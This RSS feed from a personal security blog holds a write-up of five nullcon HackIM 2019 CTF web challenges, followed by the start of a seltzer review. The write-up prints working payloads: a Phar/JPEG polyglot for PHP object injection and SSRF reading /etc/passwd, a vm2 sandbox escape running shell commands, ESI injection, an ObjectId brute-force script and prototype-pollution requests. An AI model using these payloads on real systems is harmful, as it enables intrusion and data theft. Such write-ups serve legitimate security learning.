<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Kolobyte]]></title><description><![CDATA[The blog of Eugene Kolo.

Interests lay in building systems, hacking things, solving problems, and critical thinking.]]></description><link>https://eugenekolo.com/blog/</link><generator>Ghost 0.11</generator><lastBuildDate>Fri, 19 Jul 2019 05:00:49 GMT</lastBuildDate><atom:link href="https://eugenekolo.com/blog/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[nullcon HackIM CTF 2019 Web Challenges]]></title><description><![CDATA[<p><img src="https://eugenekolo.com/blog/content/images/2019/02/hackim-2019-scoreboard-1.png" alt="HackIM CTF 2019 Scoreboard"></p>

<p>I competed this weekend in the nullcon HackIM CTF with my team Shellphish and we ended up solving all the web challenges. We won first place by a few points 😌. </p>

<p>Challenge Writeups:</p>

<ul>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#mimecheckr4solves">mime chekr (4 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#babyjs26solves">babyjs (26 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#blog20solves">blog (20 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#credz2solves">credz (2 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#proton3solves">proton (3 solves)</a></li>
</ul>

<h1 id="mimecheckr4solves">mime checkr</h1>]]></description><link>https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/</link><guid isPermaLink="false">2315af64-93f9-4b36-a9bd-1bc2c2e624bf</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Mon, 04 Feb 2019 02:55:01 GMT</pubDate><media:content url="http://eugenekolo.com/blog/content/images/2019/02/hackim-2019-scoreboard-2.png" medium="image"/><content:encoded><![CDATA[<img src="http://eugenekolo.com/blog/content/images/2019/02/hackim-2019-scoreboard-2.png" alt="nullcon HackIM CTF 2019 Web Challenges"><p><img src="https://eugenekolo.com/blog/content/images/2019/02/hackim-2019-scoreboard-1.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<p>I competed this weekend in the nullcon HackIM CTF with my team Shellphish and we ended up solving all the web challenges. We won first place by a few points 😌. </p>

<p>Challenge Writeups:</p>

<ul>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#mimecheckr4solves">mime chekr (4 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#babyjs26solves">babyjs (26 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#blog20solves">blog (20 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#credz2solves">credz (2 solves)</a></li>
<li><a href="https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#proton3solves">proton (3 solves)</a></li>
</ul>

<h1 id="mimecheckr4solves">mime checkr (4 solves)</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/mime-chekr1.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<p>Upon entering the website we're given two form submissions. We can check the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a> type of a file, and we can upload a file. </p>

<h3 id="uploading">Uploading</h3>

<p>The upload seems to do some checks of the MIME type, image size, file size, and some other stuff, before allowing us to successfully upload. The upload allows us to upload JPEG images that successfully pass all the checks. </p>

<p><code>File is an image - image/jpeg.The file 8becbebdb0f66ab1ee16b476baab10a1.jpeg has been uploaded.</code></p>

<p>We were told the file uploaded... but where? Turns out it's in <code>/uploads</code>. This guess can actually be discovered by searching the messages we get from the file upload and realizing the upload script is just copy pasted from a stackoverflow question.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/mime-chekr-2.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<h3 id="mimecheck">Mime Check</h3>

<p>We can test the MIME type of a file with this form. Playing around with it we found out that the MIME checker also takes URLs as an option, and not just local file paths. The form tells tells us if it's an image and what MIME type it is.</p>

<p><code>File is an image - image/jpeg.</code></p>

<h2 id="pharjpegpolyglotandsourcediscovery">Phar/JPEG Polyglot and Source Discovery</h2>

<p>The idea that comes to mind is to upload some sort of file that must pass the JPEG check, and then feed it to the MIME checker. Perhaps the MIME checker is vulnerable to some sort of execution vulnerability? Maybe it does an <code>include</code> of the file it's passed resulting in PHP evaluation? These are stretches, but it's all we got to go off of and hope.</p>

<p>Last year <a href="http://php.net/manual/en/intro.phar.php">phar files</a> came into style with a Black Hat Conference talk, and some subsequent research. </p>

<ul>
<li><a href="https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf">Secarma Labs - File Operation Induced Unserialization via the “phar://” Stream Wrapper</a></li>
<li><a href="https://blog.ripstech.com/2018/new-php-exploitation-technique/">RIPS Tech - New PHP Exploitation Technique Added</a></li>
<li><a href="https://www.nc-lp.com/blog/disguise-phar-packages-as-images">nc-lp Disguise Phar Packages as Images</a></li>
</ul>

<p>Phar files are a way to archive PHP code into a format similar to TAR. Using these as references we can craft a phar file that is also a valid JPEG image - and subsequently can be uploaded. PHP by default blocks you from creating a phar file from the command line, so a <code>php.ini</code> has to be created and pointed to by the interpreter.  </p>

<pre><code># php.ini - call interpreter with `php -c . -a`
[phar]
phar.readonly = 0  
</code></pre>

<p>We can create a Phar/JPEG polyglot by using the POC that nc-lp provides.  </p>

<pre><code>class AnyClass {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.jpeg");
$phar-&gt;startBuffering();
$phar-&gt;addFromString("test.txt","test");
$phar-&gt;setStub($jpeg_header_size." __HALT_COMPILER(); ?&gt;");
$o = new TestObject();
$phar-&gt;setMetadata($o);
$phar-&gt;stopBuffering();
</code></pre>

<pre><code>$ file phar.jpeg
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3  
</code></pre>

<p>But what do we do with this? We can unarchive the phar by passing <code>phar://./uploads/&lt;our upload hash&gt;.jpeg/test.txt</code> to the getmime function, but that doesn't get us anything of ours executing or doing anything interesting. In order to leverage a phar exploit we need for the phar to end up being executed somewhere, or for us to <a href="https://www.owasp.org/index.php/PHP_Object_Injection">overwrite a class with a magic method for an object injection attack.</a> For this to be possible we have to know the name of a vulnerable class that is in <code>getmime.php</code>.</p>

<p>We got stuck on this for a while. Out of frustration I decided to check random files hoping there's some sort of hidden file. I tried looking for backup files by adding <code>~</code>, and <code>.bak</code> to files. I tried looking for some folders such as <code>admin</code> or <code>setup</code>. Eventually, I tried <code>getmime</code> without the <code>.php</code> extension, and lo and behold... a file downloaded.</p>

<pre><code class="language-php">&lt;?php  
//error_reporting(-1);
//ini_set('display_errors', 'On');

class CurlClass {  
  public function httpGet($url) {
    $ch = curl_init();

    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

    $output = curl_exec($ch);

    curl_close($ch);
    return $output;
  }
}


class MainClass {  
  public function __destruct() {
    $this-&gt;why = new CurlClass;
    echo $this-&gt;url;
    echo $this-&gt;why-&gt;httpGet($this-&gt;url);
  }
}

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {  
  $check = getimagesize($_POST['name']);
  if($check !== false) {
    echo "File is an image - " . $check["mime"] . ".";
    $uploadOk = 1;
  } else {
    echo "File is not an image.";
    $uploadOk = 0;
  }
}
?&gt;
</code></pre>

<blockquote>
  <p>I didn't know why this worked until after the CTF. I tried to also grab <code>upload</code> without the <code>.php</code> and that did not work. It turns out the intended solution was to find <code>getmime.bak</code>, and the Apache configuration has <code>MultiViews</code> enabled which tries to autocomplete files that don't exist to one that does.</p>
</blockquote>

<h2 id="systemreconandssrf">System Recon and SSRF</h2>

<p>Okay, so we have the source, we see there's a MainClass and a __destruct. We're in business. We can now craft our phar file from before to do an object injection attack on MainClass by changing the AnyClass to:</p>

<pre><code>class MainClass {  
   public $url = "our url";
}
</code></pre>

<p>When our phar is deserialized, it will trigger an object injection of MainClass and cause it perform a curl request to our specified URL. We have an <a href="https://www.owasp.org/index.php/Server_Side_Request_Forgery">SSRF</a> vulnerability.</p>

<p>It looks like file:// scheme is supported by curl, so we are able to read <code>file:///etc/passwd</code> by passing <br>
<code>phar://./uploads/&lt;our hash&gt;.jpeg/test.txt</code> to the <code>getmime.php</code> form.</p>

<pre><code>File is an image - image/jpeg. file:///etc/passwd  
root:x:0:0:root:/root:/bin/bash  
... 
</code></pre>

<p>Okay, but what do we read? Where can the flag be? Browsing around files didn't find us anything directly in them. </p>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/charlie-connecting-the-dots-2-minified.gif" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<p>Eventually we checked the <code>/etc/hosts</code> file and found <code>172.18.0.3    d038b936b122</code></p>

<p>A teammate pointed out, if we're on the .3 ip, what is on .1 and .2? Perhaps there's something interesting on those IPs.</p>

<p>Using our phar payload to send a request to <code>http://172.18.0.2</code> gets us <br>
<code>b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'</code></p>

<p>Well, that's weird. That's definitely python based on the beginning b character signifying it to be a byte string. Searching the first few bytes reveals this to be EBCDIC encoding. Decoding it using US EBCDIC gives us: <br>
<code>Hello /fetch~%Ý¨¬@)(  me</code> That's not quite right. Using Indian EBCDIC (cp1137) gives us <code>Hello /fetch~%[]^@)(  me</code>.
Much better, let's fetch that. </p>

<p>Fetching <code>http://172.18.0.2/fetch~%25[]^@)(</code> (percent sign encoded), gives us back: <code>b'\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'</code></p>

<p>Again, decoded from Indian EBCDIC:</p>

<p><code>Flag{PHP_Streams_are_t00_MainStream0}</code></p>

<h1 id="babyjs26solves">babyjs (26 solves)</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/babyjs1-2.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<p>We're told we can run some JS at <code>/run?js=&lt;code&gt;</code></p>

<p>So first we need to figure out what's going on by causing some errors. A nice trick is to throw an exception and catch the stack trace.</p>

<p><code>http://web4.ctf.nullcon.net:8080/run?js=Error().stack</code></p>

<pre><code>Error  
    at vm.js:1:1
    at ContextifyScript.Script.runInContext (vm.js:59:29)
    at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:208:72)
    at /usr/src/app/server.js:21:20
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at /usr/src/app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
</code></pre>

<p>So, it turns out reading the stack trace we're running inside of <code>vm2</code>. I know exactly what to do - I found <a href="https://github.com/patriksimek/vm2/issues/138">a sandbox escape</a> in this same module last June. That one is patched though, but there's sure to be <a href="https://github.com/patriksimek/vm2/issues/186">new ones.</a> </p>

<p>Copy pasting the POC in the latest escape: <br>
<code>http://web4.ctf.nullcon.net:8080/run?js=var%20process;%20try{%20Object.defineProperty(Buffer.from(%22%22),%22%22,{%20value:new%20Proxy({},{%20getPrototypeOf(target){%20if(this.t)%20throw%20Buffer.from;%20this.t=true;%20return%20Object.getPrototypeOf(target);%20}%20})%20});%20}catch(e){%20process%20=%20e.constructor(%22return%20process%22)();%20}%20process.mainModule.require(%22child_process%22).execSync(%22whoami%22).toString()</code></p>

<p><code>nodejs</code></p>

<p>We have arbitrary code execution. Now it's just change the payload from <code>whoami</code> to <code>ls</code> to see the list of files and then read out the flag with <code>cat iamnotwhatyouthink</code>.</p>

<p><code>hackim19{S@ndbox_0_h4cker_1}</code></p>

<h1 id="blog20solves">blog (20 solves)</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/blog1.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<p>In this challenge we're given the ability to post a blog with a title and description.</p>

<p>Inputting a title and description brings us to a page that shows the description. The title doesn't appear to be used.</p>

<p>Navigating to the <code>/admin</code> page gives us an error telling us to show the admin some love. We probably need to somehow navigate to this page with the correct credentials, or to some how exfiltrate it another way.</p>

<p>We can play around with the description to get us XSS, but that won't be of any use, since we'd just be self XSSing ourselves - what good is it to make our own browser pop an alert window? So the next thing to do is to play around with the query parameters in the URL and see if we can get some crashes or errors.</p>

<blockquote>
  <p><code>http://web3.ctf.nullcon.net:8080/edge?title=1&amp;description=1</code>  </p>
</blockquote>

<p>This is the properly formatted request. Works fine and shows a page with the description.</p>

<blockquote>
  <p><code>http://web3.ctf.nullcon.net:8080/edge?title=1&amp;description[]=1</code></p>
</blockquote>

<p>Description as an array. Hangs, and nothing.</p>

<blockquote>
  <p><code>http://web3.ctf.nullcon.net:8080/edge?title=1</code></p>
</blockquote>

<p>No description param gives us:  </p>

<pre><code>TypeError: Cannot read property 'toString' of undefined  
      at /usr/src/app/server.js:37:88
      at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at /usr/src/app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
    at next (/usr/src/app/node_modules/express/lib/router/index.js:275:10)
    at SendStream.error (/usr/src/app/node_modules/serve-static/index.js:121:7)
    at emitOne (events.js:116:13)
</code></pre>

<p>Nice! We know the backend is executing toString on the description parameter, which is undefined in this case.</p>

<blockquote>
  <p><code>http://web3.ctf.nullcon.net:8080/edge?title=1&amp;description=1&amp;description[x]=2&amp;description=3</code></p>
</blockquote>

<p>Polluting the description object some more, and getting it passed as an array/object gives us:</p>

<pre><code>TypeError: reducedHtml.indexOf is not a function  
    at findESIInclueTags (/usr/src/app/nodesi/lib/esi.js:66:39)
    at processHtmlText (/usr/src/app/nodesi/lib/esi.js:26:9)
    at Object.process (/usr/src/app/nodesi/lib/esi.js:48:16)
    at /usr/src/app/server.js:45:7
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at /usr/src/app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
</code></pre>

<p>So we seem to be using the nodesi library. What is this? Turns out it's a <a href="https://github.com/Schibsted-Tech-Polska/nodesi">library</a> for node that implements <a href="https://www.w3.org/TR/esi-lang">Edge Side Include</a>.</p>

<p>Reading up on it a bit, ESI seems to be some sort of language that gets parsed and used to mark up webpages. Not sure why the internet needs this on top of all the other mark up languages, but okay.</p>

<p>The nodesi documentation mentions it only supports the include tags to include webpages into the website, so let's give that a try. </p>

<blockquote>
  <p><code>http://web3.ctf.nullcon.net:8080/edge?title=1&amp;description=&lt;esi:include src="http://example.com" /&gt;</code></p>
</blockquote>

<p>includes example.com.</p>

<blockquote>
  <p><code>http://web3.ctf.nullcon.net:8080/edge?title=1&amp;description=&lt;esi:include src="https://web3.ctf.nullcon.net:8080/admin" /&gt;</code></p>
</blockquote>

<p>Includes the admin page with our flag: <br>
<code>hackim19{h0w_Did_y0ou-Get_here}</code></p>

<h1 id="credz2solves">credz (2 solves)</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/credz-1.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<h2 id="browserfingerprintbypass">Browser fingerprint bypass</h2>

<p>We're presented with a login page. Trying <code>admin/admin</code> tells us that we have the correct account, but the wrong cookies.</p>

<p>The source code of the website has a <code>fps.js</code> that creates a client side <a href="https://en.wikipedia.org/wiki/Device_fingerprint">browser fingerprint</a> by combining some characteristics from the user's browser and hashing the result. This hash is submitted to a background service on the website, and the service sets a cookie with that hash. If we can get the correct cookie, then we can log in as the admin.</p>

<p>The fingerprint consists of a lot of characteristics:</p>

<ul>
<li>navigator.language</li>
<li>navigator.userAgent</li>
<li>screen.colorDepth</li>
<li>getTimezoneOffset()</li>
<li>getPluginsString()</li>
<li>getCanvasFingerprint()</li>
<li>and so on</li>
</ul>

<p>Most of the fingerprint characteristics have only a relatively small set of possibilities. The biggest challenge is to produce a valid <a href="https://en.wikipedia.org/wiki/Canvas_fingerprinting">canvas fingerprint</a>. The canvas fingerprint effectively fingerprints a graphics card, and deducing how each graphics card will interact with an image is beyond my expertise.</p>

<p>Luckily there's a hint for us in the website's source code that implies we don't need to know the canvas fingerprint.</p>

<p><code>&lt;!-- remember me all the time, credz is not what you need luke --&gt;</code></p>

<p>So it seems we can use the image that says "Credz is not everything you need Luke" as our canvas fingerprint. The rest of the options such as user-agent have to be bruteforced. </p>

<p>Due to the tedious bruteforcing nature of the challenge, we didn't continue attemping it until some hints came out. The hints revealed the user was using the latest Chrome installation on Windows 10.</p>

<p>This simplifies the challenge a lot. After setting up a new Windows 10 virtual machine and freshly installing Chrome, only a few things in the fingerprint have any possible variation.</p>

<ul>
<li><code>navigator.language</code> - The challenge description says the admin is from India, so their language is probably not the same as mine en-US. We can guess they may be using en-IN, or en-UK, or another of the 22 official languages in India.</li>
<li><code>getTimezoneOffset()</code> - Again, the admin is in India, so their offset to UTC time is different from mine in Boston. UTC to India is -330 minutes apart.</li>
<li><code>getCanvasFingerprin()</code> - We know to use the data from the image provided to us.</li>
</ul>

<p>Running the script with these things set to en-US, -330, and the image, produced a hash of <code>2656613544186699742</code>. Setting the cookie to this, and logging in as admin/admin gave us access to the next stage.</p>

<h2 id="gitunpackobjectsandphp">git unpack-objects and PHP</h2>

<p>We're now presented with a directory listing:</p>

<ul>
<li>admin.php</li>
<li>pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack</li>
</ul>

<p>Trying to open the admin.php gives us <code>not_authorized</code>. Searching what a .pack file is leads us to <a href="https://stackoverflow.com/questions/16972031/how-to-unpack-all-objects-of-a-git-repository">https://stackoverflow.com/questions/16972031/how-to-unpack-all-objects-of-a-git-repository</a>, it seems to unpack this file we must:</p>

<pre><code>$ git init
$ mkdir test
$ mv pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack test
$ git unpack-objects &lt; test/pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack
$ git fsck --full
notice: HEAD points to an unborn branch (master)  
Checking object directories: 100% (256/256), done.  
notice: No default references  
dangling commit 29e3e14902aa1cc8caf8372c55e59f6720b5619b  
$ git checkout 29e3e14902aa1cc8caf8372c55e59f6720b5619b
</code></pre>

<p>With that we find an admin.php - probably the same one on the website. </p>

<pre><code class="language-php">&lt;?php  
if($_SESSION['go']) {  
    $sp_php=explode('/', $_SERVER['PHP_SELF']);
    $langfilename=$sp_php[count($sp_php)-1];
    $pageListArray = array('index.php' =&gt; "1");

    if($pageListArray [$langfilename]!=1) {
        echo "not_authorized";
        Header("Location: index.php?not_authorized");
    }
    else {
        echo "hackim19{}";
    }
}
else {  
    echo "you need to complete the first barrier";
}
?&gt;
</code></pre>

<p>It seems that admin.php looks if the string 'index.php' is in the URL route. So we can simply visit <code>/admin.php/index.php</code> and get our flag:</p>

<p><code>hackim19{JS_GIT_PHP_HeR0_a1m40d}</code></p>

<h1 id="proton3solves">proton (3 solves)</h1>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/proton1.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<p>In proton we're told to go to <code>/getPOST?id=5c51b9c9144f813f31a4c0e2</code>.</p>

<h2 id="mongodbobjectidenumeration">MongoDB Object ID Enumeration</h2>

<p>I immediately recognized that id as a MongoDB ObjectId due to a previous challenge <br>
from <a href="https://www.pwndiary.com/write-ups/angstrom-ctf-2018-the-best-website-write-up-web230/">Angstrom 2018 CTF</a>. </p>

<p><img src="https://eugenekolo.com/blog/content/images/2019/02/proton2.png" alt="nullcon HackIM CTF 2019 Web Challenges"></p>

<p>Dissecting our id, <code>5c51b9c9144f813f31a4c0e2</code>, we have: <br>
<strong>timestamp:</strong> <code>0x5c51b9c9</code> <br>
<strong>random:</strong> <code>0x144f813f31</code> <br>
<strong>counter:</strong> <code>0xa4c0e2</code>  </p>

<p>We're told we have to look at the user's previous posts. So, that means decrementing the counter sequentially, and decrementing the timestamp until we find the post.</p>

<pre><code class="language-python">import requests

url = 'http://web2.ctf.nullcon.net:4545/getPOST?id=%s144f813f31%s'  
time = 0x5c51b9c9  
counter = 0xa4c0e2

for i in range(100):  
    counter = hex(counter - 1)[2:]
    for i in range(1000000):
        time = hex(time - 1)[2:] 
        nurl = url % (time, counter)
        res = requests.get(nurl)
        if 'Not found' not in res.text:
            print(res.text, nurl)
            time = int(time, 16)
            counter = int(counter, 16)
            break
        time = int(time, 16
</code></pre>

<p>The script gives us the next stage of the challenge:  </p>

<pre><code>(u'Shit MR Anderson and his agents are here. Hurryup!. Pickup the landline phone to exit back to matrix! - /4f34685f64ec9b82ea014bda3274b0df/ ', 'http://web2.ctf.nullcon.net:4545/getPOST?id=5c51b911144f813f31a4c0df')
</code></pre>

<h2 id="homographattackandprototypepollution">Homograph attack and prototype pollution</h2>

<p>At the new URL we're given the source code to the server running there.</p>

<pre><code>'use strict';

const express = require('express');  
const bodyParser = require('body-parser')  
const cookieParser = require('cookie-parser');  
const path = require('path');


const isObject = obj =&gt; obj &amp;&amp; obj.constructor &amp;&amp; obj.constructor === Object;

function merge(a,b){  
 for (var attr in b){   
   if(isObject(a[attr]) &amp;&amp; isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

function clone(a){  
  return merge({},a);
}

// Constants
const PORT = 8080;  
const HOST = '0.0.0.0';  
const admin = {};

// App
const app = express();  
app.use(bodyParser.json())  
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')))

app.post('/signup', (req, res) =&gt; {  
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if(copybody.name){
      res.cookie('name', copybody.name).json({"done":"cookie set"}); 
  }
  else{
    res.json({"error":"cookie not set"})
  }
});

app.get('/getFlag', (req, res) =&gt; {


     var аdmin=JSON.parse(JSON.stringify(req.cookies))
        console.log(admin);

    if(admin.аdmin==1){
      res.send("hackim19{}");
    }
    else{
      res.send("You are not authorized"); 
    }


});
</code></pre>

<p>Examining this and running it locally caused a few exclamations of "what...".</p>

<blockquote>
  <p>What... How is there a <code>const admin</code> and then <code>var аdmin</code>? This should error in JavaScript.</p>
</blockquote>

<p>Well, it turns out those are not the same. One has a Cyrillic а, and the other a Latin a. This is known as a homograph attack. This can be discovered by examining the file through <code>hexdump</code> and looking at the raw bytes, or using a text editor and just doing a search of one and noticing the other doesn't get matched.</p>

<blockquote>
  <p>What... Let's say I can edit the admin const... wouldn't that effect the entire application for the rest of the challenge, and just spit out flags for everybody?</p>
</blockquote>

<p>I didn't find the answer to this until after the CTF. I just operated under the assumption that there must be something that I don't understand, or the server is restarted every millisecond to reset the variables. It turned out there was a <a href="https://github.com/nullcon/hackim-2019/blob/master/web/proto/server.js#L135">missing line in the source that was provided to us that deletes the Object.prototype.admin right before sending the flag.</a> So technically, there's a bug here. If somebody sets the admin, and then doesn't get the flags themselves in time, another team can steal the flag. </p>

<p>The server code has some sort of merge function for setting cookies. This sparked my memory about an <a href="https://hackerone.com/reports/310708">article on Hacker One about prototype pollution.</a>. In the article holyvier discloses a vulnerability in <strong>merge</strong>-deep and how the prototype of Object can be polluted. Any attribute can be added to the base Object, which is what <code>const admin = {}</code> is.</p>

<p>Using the POC provided we can repeat the same for this challenge, making sure to consider the homograph Cyrillic admin:</p>

<pre><code>curl -X POST http://web2.ctf.nullcon.net:4545/4f34685f64ec9b82ea014bda3274b0df/signup --header 'Content-Type: application/json' -d '{"name": "hey", "__proto__":{"аdmin":"1"}}'`  
curl http://web2.ctf.nullcon.net:4545/4f34685f64ec9b82ea014bda3274b0df/getFlag -H 'Content-Type: application/json'  
</code></pre>

<p><code>hackim19{Prototype_for_the_win}</code></p>]]></content:encoded></item><item><title><![CDATA[Best Polar Seltzer Flavors Review]]></title><description><![CDATA[<p><img src="https://eugenekolo.com/blog/content/images/2018/12/all-polar-seltzers-fs8.png" alt=""></p>

<p>Some time ago last year I hosted a party of people to taste test every basic flavor of Polar Seltzer (to the best of my knowledge). This post was meant to be posted sooner and is long overdue - I'm sorry! We tasted most of these clean, sometimes with vodka</p>]]></description><link>https://eugenekolo.com/blog/seltzer/</link><guid isPermaLink="false">e5cb197d-44e4-4b39-be1e-d59556861d4f</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Sun, 23 Dec 2018 03:46:34 GMT</pubDate><media:content url="http://eugenekolo.com/blog/content/images/2018/12/all-polar-seltzers-fs8-1.png" medium="image"/><content:encoded><![CDATA[<img src="http://eugenekolo.com/blog/content/images/2018/12/all-polar-seltzers-fs8-1.png" alt="Best Polar Seltzer Flavors Review"><p><img src="https://eugenekolo.com/blog/content/images/2018/12/all-polar-seltzers-fs8.png" alt="Best Polar Seltzer Flavors Review"></p>

<p>Some time ago last year I hosted a party of people to taste test every basic flavor of Polar Seltzer (to the best of my knowledge). This post was meant to be posted sooner and is long overdue - I'm sorry! We tasted most of these clean, sometimes with vodka to see which was the best mixing seltzer. </p>

